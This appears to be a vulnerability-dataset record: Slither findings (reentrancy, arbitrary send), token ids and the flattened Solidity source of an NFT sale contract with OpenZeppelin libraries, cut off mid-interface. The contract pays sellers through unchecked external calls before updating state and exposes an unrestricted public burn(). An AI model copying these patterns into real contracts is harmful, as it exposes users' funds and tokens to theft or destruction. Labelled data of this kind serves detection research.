746869732066756e6374696f6e596f7520646f6e27742068617665207065726d697373696f6e20746f20756e6c6f636b45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212204fdf954d0471f6ae5130b55c288d2df7e231ea40ba3d9f9d2db23620a260469364736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 18827, 2546, 22203, 2063, 2509, 10354, 2497, 2575, 2497, 2475, 6679, 2692, 2050, 2629, 2094, 20842, 2546, 2094, 2509, 2497, 2620, 2620, 2278, 2581, 16703, 2620, 2509, 9818, 22025, 2546, 1013, 1008, 1008, 1008, 1008, 1013, 1013, 1008, 1008, 1008, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 2260, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 3477, 3085, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 3853, 1035, 5796, 2290, 2850, 2696, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 27507, 3638, 1007, 1063, 2023, 1025, 1013, 1013, 4223, 2110, 14163, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,671
0x97254a8A901617a13dd1Bf1f26b81c00ABBb35bd
// SPDX-License-Identifier: MIT pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; interface IERC20 { function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function burn(uint256 amount) external; function mint(address to, uint256 amount) external; } /** * @title BlockChainedELite * Limited run NFT collection of 2021's most popular pop culture icons * Inspired by the Mock provided by OpenZeppelin */ contract BlockChainedElite is ERC721, Ownable { using SafeMath for uint256; // state variables uint256 constant HotSaleLength = 14 days; uint256 start; // mapping mapping (uint256 => string) public tokenNames; mapping (string => bool) private nameReserved; mapping (uint256 => uint256) public flips; mapping (uint256 => string) public presetCID; // bce coin address private bceNCTAddress; address payable public adminAddress_1; address payable public adminAddress_2; bool public initialized; event Purchase(uint256 ID, address Purchaser); event NameChange(uint256 ID, string Name); modifier whileSale() { require (block.timestamp <= start.add(HotSaleLength), "BCE: has ended"); require (block.timestamp >= start, "BCE: has not started"); _; } constructor (string memory name, string memory symbol, uint256 _start, address payable _adminAddress_1, address payable _adminAddress_2, address _bceNCT) ERC721(name, symbol) { start = _start; adminAddress_1 = _adminAddress_1; adminAddress_2 = _adminAddress_2; bceNCTAddress = _bceNCT; _setBaseURI("ipfs://"); initialized = false; } function exists(uint256 tokenId) public view returns (bool) { return _exists(tokenId); } function mint(address to, uint256 tokenId) private { _mint(to, tokenId); } function burn(uint256 tokenId) public { _burn(tokenId); } function purchase(uint256 tokenId) payable public whileSale{ if(_exists(tokenId)){ address prevOwner = ownerOf(tokenId); // get price and require this payment to be sent require(msg.value == getPrice(tokenId), "BCE: Invalid Price"); require (prevOwner != _msgSender(), "BCE: Already Owned"); _transfer(prevOwner, _msgSender(), tokenId); // split ETH 70% owner 30% stays in BCE uint256 amountToOwner = (((msg.value).div(100)).mul(70)); address(prevOwner).call{value: amountToOwner}(''); uint256 remaining = (msg.value).sub(amountToOwner); splitFee(remaining); // add to flips flips[tokenId] = flips[tokenId].add(1); // emit purchase of token Purchase(tokenId, _msgSender()); } else{ //require this ID to be valid -- min if correct ETH require (tokenId <= 100, "BCE: Invalid"); require (tokenId >= 1, "BCE: Invalid"); require (msg.value == 5e16, "BCE: 0.05 ETH"); //mint _safeMint(_msgSender(), tokenId); _setTokenURI(tokenId, presetCID[tokenId]); splitFee(msg.value); flips[tokenId] = 1; } //if successful, mint the corresponding amount of bceNCT IERC20(bceNCTAddress).mint(_msgSender(),(msg.value).mul(1000)); } function setBatchPresetTokenCID(uint256[] memory ids, string[] memory uris) onlyOwner external { require(!initialized, "BCE: initialized"); for(uint256 i = 0; i < ids.length; i++){ presetCID[ids[i]] = uris[i]; } initialized = true; } function getPrice(uint256 tokenId) public view returns(uint256) { return((uint256(5e16)).mul(2**flips[tokenId])); } function splitFee(uint256 amount) internal { uint256 remaining_1 = ((amount).div(100)).mul(80); uint256 remaining_2 = (amount).sub(remaining_1); address(adminAddress_1).call{value: remaining_1}(''); address(adminAddress_2).call{value: remaining_2}(''); } /** * @dev Reserves the name if isReserve is set to true, de-reserves if set to false */ function toggleReserveName(string memory str, bool isReserve) internal { nameReserved[toLower(str)] = isReserve; } /** * @dev Returns if the name has been reserved. */ function isNameReserved(string memory nameString) public view returns (bool) { return nameReserved[toLower(nameString)]; } /** * @dev Changes the name for given tokenId */ function changeName(uint256 tokenId, string memory newName) public { address owner = ownerOf(tokenId); require(_msgSender() == owner, "BCE: Ownership"); require(validateName(newName) == true, "BCE: Invalid"); require(sha256(bytes(newName)) != sha256(bytes(tokenNames[tokenId])), "BCE: Used"); require(isNameReserved(newName) == false, "BCE: Taken"); IERC20(bceNCTAddress).transferFrom(_msgSender(), address(this), 1e20); // If already named, dereserve old name if (bytes(tokenNames[tokenId]).length > 0) { toggleReserveName(tokenNames[tokenId], false); } toggleReserveName(newName, true); tokenNames[tokenId] = newName; IERC20(bceNCTAddress).burn(1e20); emit NameChange(tokenId, newName); } /** * @dev Check if the name string is valid (Alphanumeric and spaces without leading or trailing space) */ function validateName(string memory str) public pure returns (bool){ bytes memory b = bytes(str); if(b.length < 1) return false; if(b.length > 25) return false; // Cannot be longer than 25 characters if(b[0] == 0x20) return false; // Leading space if (b[b.length - 1] == 0x20) return false; // Trailing space bytes1 lastChar = b[0]; for(uint i; i<b.length; i++){ bytes1 char = b[i]; if (char == 0x20 && lastChar == 0x20) return false; // Cannot contain continous spaces if( !(char >= 0x30 && char <= 0x39) && //9-0 !(char >= 0x41 && char <= 0x5A) && //A-Z !(char >= 0x61 && char <= 0x7A) && //a-z !(char == 0x20) //space ) return false; lastChar = char; } return true; } /** * @dev Converts the string to lowercase */ function toLower(string memory str) public pure returns (string memory){ bytes memory bStr = bytes(str); bytes memory bLower = new bytes(bStr.length); for (uint i = 0; i < bStr.length; i++) { // Uppercase character if ((uint8(bStr[i]) >= 65) && (uint8(bStr[i]) <= 90)) { bLower[i] = bytes1(uint8(bStr[i]) + 32); } else { bLower[i] = bStr[i]; } } return string(bLower); } function marketRead() public view returns(uint256[] memory, uint256[] memory, string[] memory){ uint256[] memory _flips = new uint256[](100); uint256[] memory _prices= new uint256[](100); string[] memory _names= new string[](100); for (uint256 i=0;i<100;i++){ _flips[i] = flips[i+1]; _prices[i] = getPrice(i+1); _names[i] = tokenNames[i+1]; } return (_flips, _prices, _names); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/Context.sol"; import "./IERC721.sol"; import "./IERC721Metadata.sol"; import "./IERC721Enumerable.sol"; import "./IERC721Receiver.sol"; import "../../introspection/ERC165.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; import "../../utils/EnumerableSet.sol"; import "../../utils/EnumerableMap.sol"; import "../../utils/Strings.sol"; /** * @title ERC721 Non-Fungible Token Standard basic implementation * @dev see https://eips.ethereum.org/EIPS/eip-721 */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using SafeMath for uint256; using Address for address; using EnumerableSet for EnumerableSet.UintSet; using EnumerableMap for EnumerableMap.UintToAddressMap; using Strings for uint256; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from holder address to their (enumerable) set of owned tokens mapping (address => EnumerableSet.UintSet) private _holderTokens; // Enumerable mapping from token ids to their owners EnumerableMap.UintToAddressMap private _tokenOwners; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; // Token name string private _name; // Token symbol string private _symbol; // Optional mapping for token URIs mapping (uint256 => string) private _tokenURIs; // Base URI string private _baseURI; /* * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd */ bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; /* * bytes4(keccak256('name()')) == 0x06fdde03 * bytes4(keccak256('symbol()')) == 0x95d89b41 * bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd * * => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f */ bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; /* * bytes4(keccak256('totalSupply()')) == 0x18160ddd * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59 * bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7 * * => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63 */ bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); _registerInterface(_INTERFACE_ID_ERC721_METADATA); _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _holderTokens[owner].length(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token"); } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } // If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI. return string(abi.encodePacked(base, tokenId.toString())); } /** * @dev Returns the base URI set via {_setBaseURI}. This will be * automatically added as a prefix in {tokenURI} to each token's URI, or * to the token ID if no specific URI is set for that token ID. */ function baseURI() public view virtual returns (string memory) { return _baseURI; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { return _holderTokens[owner].at(index); } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { // _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds return _tokenOwners.length(); } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { (uint256 tokenId, ) = _tokenOwners.at(index); return tokenId; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _tokenOwners.contains(tokenId); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: d* * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); // internal owner _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); // Clear metadata (if any) if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } _holderTokens[owner].remove(tokenId); _tokenOwners.remove(tokenId); emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); // internal owner require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _holderTokens[from].remove(tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(from, to, tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Internal function to set the base URI for all token IDs. It is * automatically added as a prefix to the value returned in {tokenURI}, * or to the token ID if {tokenURI} is empty. */ function _setBaseURI(string memory baseURI_) internal virtual { _baseURI = baseURI_; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (!to.isContract()) { return true; } bytes memory returndata = to.functionCall(abi.encodeWithSelector( IERC721Receiver(to).onERC721Received.selector, _msgSender(), from, tokenId, _data ), "ERC721: transfer to non ERC721Receiver implementer"); bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } function _approve(address to, uint256 tokenId) private { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "../../introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement 